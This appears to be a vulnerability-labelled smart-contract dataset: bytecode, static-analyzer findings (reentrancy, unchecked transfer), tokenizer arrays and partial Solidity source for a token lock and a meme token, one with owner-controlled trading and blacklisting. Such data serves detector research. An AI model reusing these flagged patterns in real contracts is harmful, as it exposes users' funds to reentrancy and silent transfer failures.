4fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b60008060006006549050600066038d7ea4c6800090506128bf66038d7ea4c6800060065461259390919063ffffffff16565b8210156128dc5760065466038d7ea4c680009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ebf4bfe30bb6187ce196012a5498e3ee1004281f4cb544195998d02278e26e1664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2581, 2546, 24594, 2278, 2487, 2546, 26976, 2581, 22932, 2620, 26224, 2094, 2509, 2050, 21926, 24096, 2549, 3207, 2278, 21057, 2050, 2475, 9468, 2683, 2546, 3207, 2692, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2403, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 1008, 18712, 24303, 1012, 5446, 1056, 2290, 1012, 2033, 1013, 18712, 24303, 11031, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,467
0x96d81490a9f342e4c7d21d2145a8e784f5e1d1d5
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30067200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x1f1A77F9d6A7213A50e45B737Bd9D460445263D5; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820bda36f7ce932bab30e843b293d2899a5d410108c12592c0b3c6139361a7940050029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2620, 16932, 21057, 2050, 2683, 2546, 22022, 2475, 2063, 2549, 2278, 2581, 2094, 17465, 2094, 17465, 19961, 2050, 2620, 2063, 2581, 2620, 2549, 2546, 2629, 2063, 2487, 2094, 2487, 2094, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,468
0x96d9be94bd510aeafbae24c44dfc22ed01aa0301
/** Welcome Home Apes $RANG is the Community Token for Apes. We started you off with 1 ETH in liquidity, a website and the tokenomics. There is a 10% tax, 7% is for marketing, buybacks and burns which we will do throughout to help all the apes. The other 3% is for development. Development you ask? What a smart ape. That is up to you, the Orangutans! Form a telegram and/or discord. Create twitter and other socials. Leave a comment on the deployer wallet and it will be added to the website. Now about development. This is a community project for apes. Come together, brainstorm and sling some shit around. We will be watching. If you come together as a core group and discover a great utility then we will build it for you. That is all for now, we may leave you messages as it goes so please check around. Website - https://rangutan.io/ */ //SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface ERC20 { function totalSupply() external view returns (uint _totalSupply); function balanceOf(address 